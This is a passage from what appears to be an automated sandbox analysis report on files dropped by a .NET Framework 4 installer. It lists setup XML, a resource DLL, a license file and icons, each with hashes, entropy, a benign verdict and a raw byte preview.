                  SSDEEP:1536:Xo/yYrDKRqvf+ffl0VMf/mfL94T+7j2JoiZq:Xo/yYrDKRqvf+feVMf/mfL94T+7j2Jrq
                  MD5:2D54FE70376DB0218E8970B28C1C4518
                  SHA1:83EE9AC93142751F23D5BB858F7264E27EA2EAB0
                  SHA-256:D17C5B638E2A4D43212D21A2052548C8D4909EB6410E30B8A951A292BCDBBEDD
                  SHA-512:20C0FB9A046911BC2D702AB321C3992262AC0F80F33DDDA5EC2CCAFE9EF07611774223369E0DC7CB91C9CDA1CBD65C598A7E1C914D6E6CA4B00205A16411BE30
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".E.l. .p.r.o.g.r.a.m.a. .d.e. .i.n.s.t.a.l.a.c.i...n. .n.o. .s.e. .p.u.e.d.e. .e.j.e.c.u.t.a.r. .e.n. .m.o.d.o. .d.e. .c.o.m.p.a.t.i.b.i.l.i.d.a.d... .P.a.r.a. .o.b.t.e.n.e.r. .m...s. .i.n.f.o.r.m.a.c.i...n.,. .v.e.a. .e.l. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.a.r.c.h.i.v.o. .L...a.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.

                  C:\6231e956ee22143d5ce90e\3082\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18776
                  Entropy (8bit):5.182140892959793
                  Encrypted:false
                  SSDEEP:192:ZikgnUfwVWVCe8b1S2U85ZTYG1lmW+eWaQKPnEtObMacxc8hjXHUz1TrOYL18:Zlv6Lbg2zZTf1lmW+eWaLXci2jXHUx8
                  MD5:B057315A8C04DF29B7E4FD2B257B75F4
                  SHA1:D674D066DF8D1041599FCBDB3BA113600C67AE93
                  SHA-256:51B174AE7EE02D8E84C152D812E35F140A61814F3AECD64E0514C3950060E9FE
                  SHA-512:F1CD510182DE7BBF8D45068D1B3F72DE58C7B419EFC9768765DF6C180AB3E2D94F3C058143095A66C05BCB70B589D1A5061E5FEE566282E5DB49FFBDEA3C672F
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........................................................P............@.......................................... .. *...........2..X............................................................................................text...G...........................@..@.rsrc....0... ...,..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\3082\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3069
                  Entropy (8bit):5.138349598257165
                  Encrypted:false
                  SSDEEP:48:MTN3nfZQZXRFOTfyTZQDeK9xxMFcJ55HsUXHNX/RgMzsrMpDgLmqIy3W0b8EwKg3:MTBfZQZhoTfyTZQDeQxpDHsOH1ZvoMp9
                  MD5:D40C65F632063E5CDFEF104E324D0AD4
                  SHA1:49FABA625BADF413763BD913EDB62510D3790E98
                  SHA-256:AAD96E7F4037E977997C630DEC015ECF09CF73C1F5B73F84944E60B309EAAB66
                  SHA-512:6A948FA1602E517021C98861B0DF12FCB707FBBEBF094DDE96D9E60CC7DED30B07C1BF6CA8541117A362B5EB8703D61051CF187083C91076E0AD235CF72B7237
                  Malicious:false
                  Preview:{\rtf1\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\nowidctlpar\sb120\sa120\lang3082\b\f0\fs20 T\'c9RMINOS DE LICENCIA COMPLEMENTARIOS DEL SOFTWARE DE MICROSOFT\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \nowidctlpar\sb120\sa120\f0 MICROSOFT .NET FRAMEWORK 4 PARA EL SISTEMA OPERATIVO MICROSOFT WINDOWS\f1\par..\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE PARA EL SISTEMA OPERATIVO MICROSOFT WINDOWS\par..Y PAQUETES DE IDIOMA ASSOCIADOS\f1\par..\pard\nowidctlpar\sb120\sa120\b0\f0 Microsoft Corporation (o, en funci\'f3n del lugar en el que resida, una de sus filiales) le concede la licencia para este complemento. Si obtiene la licencia para utilizar el sistema operativo Microsoft Windows (al que se aplica este suplemento), en adelante el "software", podr\'e1 usar e

                  C:\6231e956ee22143d5ce90e\Client\Parameterinfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (412), with CRLF line terminators
                  Category:dropped
                  Size (bytes):201796
                  Entropy (8bit):3.4097027044493644
                  Encrypted:false
                  SSDEEP:384:wYQH0RbAGiYNVrkT+8TodTBltw11VTvcL1wCiUj78leRqmH9Hej2iXWKMNGIe9bs:w2RbYoVQTLTQTDFdPknZ13GpPcbrIl
                  MD5:EB9D318BBEA1F384A78EDE1D1051F47D
                  SHA1:ECD4391FE00D9BB73964456AF15FCD94DB676CC0
                  SHA-256:73B29A019C1821304C65A30F338DB2747B950EBCC0E65C02CFF39A0166316A72
                  SHA-512:91716D9A78852DB0ABE526A08C73C8349EEB997AD493A8F5B043E45A4A7AADB15FEBFBBC42641AEEC445BC36B0054A4520E051A0CE4CADD237510033F3A9BCE0
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .S.e.t.u.p.V.e.r.s.i.o.n.=.".1...0.".>..... . .<.U.I. .D.l.l.=.".S.e.t.u.p.U.i...d.l.l.". .N.a.m.e.=.".M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. .4. .C.l.i.e.n.t. .P.r.o.f.i.l.e. .S.e.t.u.p.". .V.e.r.s.i.o.n.=.".4...0...3.0.3.1.9.". ./.>..... . .<.C.o.n.f.i.g.u.r.a.t.i.o.n.>..... . . . .<.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . . . .<.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h. .N.a.m.e.=.".c.r.e.a.t.e.l.a.y.o.u.t.". ./.>..... . . . .<./.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . .<.U.s.e.r.E.x.p.e.r.i.e.n.c.e.D.a.t.a.C.o.l.l.e.c.t.i.o.n. .P.o.l.i.c.y.=.".O.S.C.o.n.t.r.o.l.l.e.d.". ./.>..... . . . .<.B.l.o.c.k.i.n.

                  C:\6231e956ee22143d5ce90e\Client\UiInfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):39042
                  Entropy (8bit):3.1132391675648923
                  Encrypted:false
                  SSDEEP:768:24URyd5vssgP7ZgZ/vSguJQvFQXvDINJh6F8hZkV1GO0N0phUl9eu+dODOOODOtK:24URyd5vsTPuZXQYQLIN/6F8hZkV1GOv
                  MD5:D7A2E90DD9DF6F93FD4B7354F8EC2B0D
                  SHA1:A792C41B62796513E312F19DEE91447B9280B23B
                  SHA-256:1D1590EB48E66646ED7917A76302862AC87E6651C841A808CF3FE797B9E697F6
                  SHA-512:A3431DA5517428B69D4481A98AB6CDA6849F3B1B33DD44CC2EDFD76DDBF51BD2B45B3C4ED21293F7FEE2789281B8CF5120EF83F11F99DE6FC18C0E3FE5D1D9D5
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.U.I.>......... . . . .<.R.e.s.o.u.r.c.e.D.l.l.>.S.e.t.u.p.R.e.s.o.u.r.c.e.s...d.l.l.<./.R.e.s.o.u.r.c.e.D.l.l.>..... . . . .<.!.-.-..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.H.i.d.e./.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . .-.-.>..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.F.i.l.e.N.a.m.e.>.S.p.l.a.s.h.S.c.r.e.e.n...b.m.p.<./.F.i.l.e.N.a.m.e.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>......... . . . .<.L.C.I.D.H.i.n.t.s.>..... . . . . . .<.L.C.I.D.H.i.n.t.>..... . . . . . . . .<.R.e.g.K.e.y.>.H.K.C.U.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.V.i.s.u.a.l.S.t.u.d.i.o.\.9...0.\.G.e.n.e.r.a.l.<./.

                  C:\6231e956ee22143d5ce90e\DHtmlHeader.html

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):16118
                  Entropy (8bit):3.6434775915277604
                  Encrypted:false
                  SSDEEP:192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
                  MD5:CD131D41791A543CC6F6ED1EA5BD257C
                  SHA1:F42A2708A0B42A13530D26515274D1FCDBFE8490
                  SHA-256:E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
                  SHA-512:A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\6231e956ee22143d5ce90e\DisplayIcon.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 13 icons, 16x16, 16 colors, 4 bits/pixel, 16x16, 8 bits/pixel
                  Category:dropped
                  Size (bytes):88533
                  Entropy (8bit):7.210526848639953
                  Encrypted:false
                  SSDEEP:1536:xWayqxMQP8ZOs0JOG58d8vo2zYOvvHAj/4/aXj/Nhhg73BVp5vEdb:e/gB4H8vo2no0/aX7C7Dct
                  MD5:F9657D290048E169FFABBBB9C7412BE0
                  SHA1:E45531D559C38825FBDE6F25A82A638184130754
                  SHA-256:B74AD253B9B8F9FCADE725336509143828EE739CC2B24782BE3ECFF26F229160
                  SHA-512:8B93E898148EB8A751BC5E4135EFB36E3AC65AF34EAAC4EA401F1236A2973F003F84B5CFD1BBEE5E43208491AA1B63C428B64E52F7591D79329B474361547268
                  Malicious:false
                  Preview:..............(...............h...............h...f... .............. .............. ..........^...00......h....#..00..........n)..00...........8........ .h....T.. .... .....&Y..00.... ..%...i........ ._...v...(....... ....................................................................................................w......x......................x..ww...........h...............................w.....w.x..........x................xwvwg.................................................................(....... ...................................jO:.mS?.qWD.v\I.|cP..kX..q_..sa..yg..{j...p..nh..pj..uo..|u..xq..|r..|u..rx..zy..|w.}.y...q...d...y...{......S...]..d..i..r..|...j..j...y...e...k...l..q...y...~...v...y..s..s..m...m...l...n...k...t...l.............................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\Extended\Parameterinfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (409), with CRLF line terminators
                  Category:dropped
                  Size (bytes):93314
                  Entropy (8bit):3.379177079191028
                  Encrypted:false
                  SSDEEP:384:tYDmmqzP4JUaGMLiqedW0XeeUnG3GPcbrKFl:tRTaBG2PcbrIl
                  MD5:4A61E563A344188E3FDEB19C25197710
                  SHA1:BDD1E1774DB4CCE9D5393882B61F1360826C1DFA
                  SHA-256:7E682BDF51FAC1B3991E6E6330BBF5E7C63060053A8503DAAEA77AB5CD70888A
                  SHA-512:F898AC736AC8017624733BBE50C281239BB6F9472B04FB3459C428B22843637AACE99C6A4023ABBB537070F43A0A34FD900D19A4B90C001772C8A67467805801
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .S.e.t.u.p.V.e.r.s.i.o.n.=.".1...0.".>..... . .<.U.I. .D.l.l.=.".S.e.t.u.p.U.i...d.l.l.". .N.a.m.e.=.".M.i.c.r.o.s.o.f.t. ...N.E.T. .F.r.a.m.e.w.o.r.k. .4. .E.x.t.e.n.d.e.d. .S.e.t.u.p.". .V.e.r.s.i.o.n.=.".4...0...3.0.3.1.9.". ./.>..... . .<.C.o.n.f.i.g.u.r.a.t.i.o.n.>..... . . . .<.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . . . .<.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h. .N.a.m.e.=.".c.r.e.a.t.e.l.a.y.o.u.t.". ./.>..... . . . .<./.D.i.s.a.b.l.e.d.C.o.m.m.a.n.d.L.i.n.e.S.w.i.t.c.h.e.s.>..... . . . .<.U.s.e.r.E.x.p.e.r.i.e.n.c.e.D.a.t.a.C.o.l.l.e.c.t.i.o.n. .P.o.l.i.c.y.=.".O.S.C.o.n.t.r.o.l.l.e.d.". ./.>..... . . . .<.B.l.o.c.k.i.n.g.M.u.t.e.x.

                  C:\6231e956ee22143d5ce90e\Extended\UiInfo.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):39050
                  Entropy (8bit):3.114226586013312
                  Encrypted:false
                  SSDEEP:768:24URsd5vssgP7ZgZ/vSguJQvFQXvDINJh6Fuh3kr1UO0NWpPUb9cu+dOtOcOdOjQ:24URsd5vsTPuZXQYQLIN/6Fuh3kr1UOB
                  MD5:EC417B1688CA10739C0737B72BF07431
                  SHA1:A1CF21FD2183C1C4E308FB3C6600D5855BDB3E51
                  SHA-256:0452A6720E55B9D4E61225BB66016513DDE15CE9CC1FB305FC0037D008476787
                  SHA-512:B317C2985FCADC551F28791311966F9FDE1B854144723AFD449BE1280AB6D6D6CBE8D50FB113282C3DDB687BEC3048D7F93F2DD97AA63B596FA6C0C80A46481E
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p.U.I. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .x.m.l.n.s.:.i.m.u.i.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p.U.I./.2.0.0.8./.0.1./.i.m.u.i.". .>..... . .<.U.I.>......... . . . .<.R.e.s.o.u.r.c.e.D.l.l.>.S.e.t.u.p.R.e.s.o.u.r.c.e.s...d.l.l.<./.R.e.s.o.u.r.c.e.D.l.l.>..... . . . .<.!.-.-..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.H.i.d.e./.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . .-.-.>..... . . . .<.S.p.l.a.s.h.S.c.r.e.e.n.>..... . . . . . .<.F.i.l.e.N.a.m.e.>.S.p.l.a.s.h.S.c.r.e.e.n...b.m.p.<./.F.i.l.e.N.a.m.e.>..... . . . .<./.S.p.l.a.s.h.S.c.r.e.e.n.>......... . . . .<.L.C.I.D.H.i.n.t.s.>..... . . . . . .<.L.C.I.D.H.i.n.t.>..... . . . . . . . .<.R.e.g.K.e.y.>.H.K.C.U.\.S.o.f.t.w.a.r.e.\.M.i.c.r.o.s.o.f.t.\.V.i.s.u.a.l.S.t.u.d.i.o.\.9...0.\.G.e.n.e.r.a.l.<./.

                  C:\6231e956ee22143d5ce90e\Graphics\Print.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
                  Category:dropped
                  Size (bytes):1150
                  Entropy (8bit):4.923507556620034
                  Encrypted:false
                  SSDEEP:24:dOjNyw2aSGZHJi4U7Wf0mDX+QF7s/AemFAh:MjNyw/0NW9DOp/ANC
                  MD5:7E55DDC6D611176E697D01C90A1212CF
                  SHA1:E2620DA05B8E4E2360DA579A7BE32C1B225DEB1B
                  SHA-256:FF542E32330B123486797B410621E19EAFB39DF3997E14701AFA4C22096520ED
                  SHA-512:283D381AA396820B7E15768B20099D67688DA1F6315EC9F7938C2FCC3167777502CDED0D1BEDDF015A34CC4E5D045BCB665FFD28BA2FBB6FAF50FDD38B31D16E
                  Malicious:false
                  Preview:............ .h.......(....... ..... .....@.........................................................................................t?.fR.|bN.y_K.v\H.rXD.oUA.kQ=.hN:.eK7.cI5.cI5.cI5i.........th<..z............................................cI5.cI5...................................................qXE.cI5.cI5.......~.............................................}eS.kR>.cI5......................................................q`.w^L.cI5..............................z..~n..sb..jX.{bP.t[H..~m..kY.nT@.......................................................{..wf.zaM.......vO.......................q..r`.}cQ.w]J..lZ.......t.x^J...........}Z..................................z`M........{aM...............0..............................jY.{aO...........................................................x^K.x^Kk.....................................................n\.y_L...........................r...............................y_L.x^K&.........................s.............

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate1.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5118974066097444
                  Encrypted:false
                  SSDEEP:6:kRKqNllGuv/ll2dL/rK//dlQt0tlWMlMN8Fq/wbD4tNZDlNc367YCm6p+Wvtjlpr:pIGOmDAQt8n+uNbctNZ5w6AsXjKHRp5c
                  MD5:26A00597735C5F504CF8B3E7E9A7A4C1
                  SHA1:D913CB26128D5CA1E1AC3DAB782DE363C9B89934
                  SHA-256:37026C4EA2182D7908B3CF0CEF8A6F72BDDCA5F1CFBC702F35B569AD689CF0AF
                  SHA-512:08CEFC5A2B625F261668F70CC9E1536DC4878D332792C751884526E49E7FEE1ECFA6FCCFDDF7BE80910393421CC088C0FD0B0C27C7A7EFF2AE03719E06022FDF
                  Malicious:false
                  Preview:..............h.......(....... .......................................................................................................................................................................................t.r........................................p.nn.l|.z..........................................g.e.......................................................................................P.N..........................................P.OG.FP.O..........................................?.>...................................................................................................+.*..........................................3.2%.$+.*..........................................!. ............{.{.............................................................................................~.~..................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate2.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5178766234336925
                  Encrypted:false
                  SSDEEP:12:pmZX5+9wQaxWbwW3h/7eHzemn0iLHRp5c:Md5EaxWbh/Cnt4
                  MD5:8419CAA81F2377E09B7F2F6218E505AE
                  SHA1:2CF5AD8C8DA4F1A38AAB433673F4DDDC7AE380E9
                  SHA-256:DB89D8A45C369303C04988322B2774D2C7888DA5250B4DAB2846DEEF58A7DE22
                  SHA-512:74E504D2C3A8E82925110B7CFB45FDE8A4E6DF53A188E47CF22D664CBB805EBA749D2DB23456FC43A86E57C810BC3D9166E7C72468FBD736DA6A776F8CA015D1
                  Malicious:false
                  Preview:..............h.......(....... ...............................................................................................................................................................................................................................................................................................................................................................................r.p..........................................q.oj.hq.o..........................................b.`...................................................................................................J.I..................|.|...y.y...............Q.PC.BF.E..........................................>.=.........".!..........................................2.1".!'.&..........................................".!.....................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate3.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5189797450574103
                  Encrypted:false
                  SSDEEP:12:pPrMIMxPWk3AyORrabBQ+gra2/MXWM4xfQHRp5c:1gxPbXlBQ+gr1ffO4
                  MD5:924FD539523541D42DAD43290E6C0DB5
                  SHA1:19A161531A2C9DBC443B0F41B97CBDE7375B8983
                  SHA-256:02A7FE932029C6FA24D1C7CC06D08A27E84F43A0CBC47B7C43CAC59424B3D1F6
                  SHA-512:86A4C5D981370EFA20183CC4A52C221467692E91539AC38C8DEF1CC200140F6F3D9412B6E62FAF08CA6668DF401D8B842C61B1F3C2A4C4570F3B2CEC79C9EE8B
                  Malicious:false
                  Preview:..............h.......(....... .................................................................................................................................................................................................................................................................................................................................................................................................................z.z...{.{...........................................................................................................................................................s.q..........................................y.wl.jl.j...............3.2#."*.)..................f.d.........E.D.........(.'..............................U.TE.DF.E..........................................E.D.....................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate4.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5119705312617957
                  Encrypted:false
                  SSDEEP:6:kRK///FleTxml+SzNaoT9Q0/lHOmMdrYln8OUo/XRWl2XOXFBYpqnHp/p5c:p///FPwxUrMunUofRReFNHRp5c
                  MD5:BB55B5086A9DA3097FB216C065D15709
                  SHA1:1206C708BD08231961F17DA3D604A8956ADDCCFE
                  SHA-256:8D82FF7970C9A67DA8134686560FE3A6C986A160CED9D1CC1392F2BA75C698AB
                  SHA-512:DE9226064680DA6696976A4A320E08C41F73D127FBB81BF142048996DF6206DDB1C2FE347C483CC8E0E50A00DAB33DB9261D03F1CD7CA757F5CA7BB84865FCA9
                  Malicious:false
                  Preview:..............h.......(....... .............................................................................................................................................................................................................y.y...|.|.............................................................................................................................................................................................................................................,.+".!,.+.........................................(.'......................................................................................=.<..........................................S.RC.BG.F.............................j.h.........H.G..............................y.wj.hi.g..........................................j.h.....................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate5.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5083713071878764
                  Encrypted:false
                  SSDEEP:6:kRKi+Blqkl/QThulVDYa5a//ItEl/aotzauakg//5aM1lkl05Kaag2/JqnHp/p5c:pXBHehqSayIylrtBg/bk4AgzHRp5c
                  MD5:3B4861F93B465D724C60670B64FCCFCF
                  SHA1:C672D63C62E00E24FBB40DA96A0CC45B7C5EF7F0
                  SHA-256:7237051D9AF5DB972A1FECF0B35CD8E9021471740782B0DBF60D3801DC9F5F75
                  SHA-512:2E798B0C9E80F639571525F39C2F50838D5244EEDA29B18A1FAE6C15D939D5C8CD29F6785D234B54BDA843A645D1A95C7339707991A81946B51F7E8D5ED40D2C
                  Malicious:false
                  Preview:..............h.......(....... .................................................................................................{.{...~.~.......................................................................................}.}.........................................................).(#."2.1..........................................).(...................................................................................................=.<..........................................N.ME.DN.M..........................................M.L.......................................................................................e.c..........................................z.xl.jm.k........................................r.p........................................................................................................................G.......................................G..........

                  C:\6231e956ee22143d5ce90e\Graphics\Rotate6.ico

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:MS Windows icon resource - 1 icon, 16x16, 24 bits/pixel
                  Category:dropped
                  Size (bytes):894
                  Entropy (8bit):2.5043420982993396
                  Encrypted:false
                  SSDEEP:12:pjs+/hlRwx5REHevtOkslTaGWOpRFkpRHkCHRp5c:tZ/u+HeilBh/F+Rd4
                  MD5:70006BF18A39D258012875AEFB92A3D1
                  SHA1:B47788F3F8C5C305982EB1D0E91C675EE02C7BEB
                  SHA-256:19ABCEDF93D790E19FB3379CB3B46371D3CBFF48FE7E63F4FDCC2AC23A9943E4
                  SHA-512:97FDBDD6EFADBFB08161D8546299952470228A042BD2090CD49896BC31CCB7C73DAB8F9DE50CDAF6459F7F5C14206AF7B90016DEEB1220943D61C7324541FE2C
                  Malicious:false
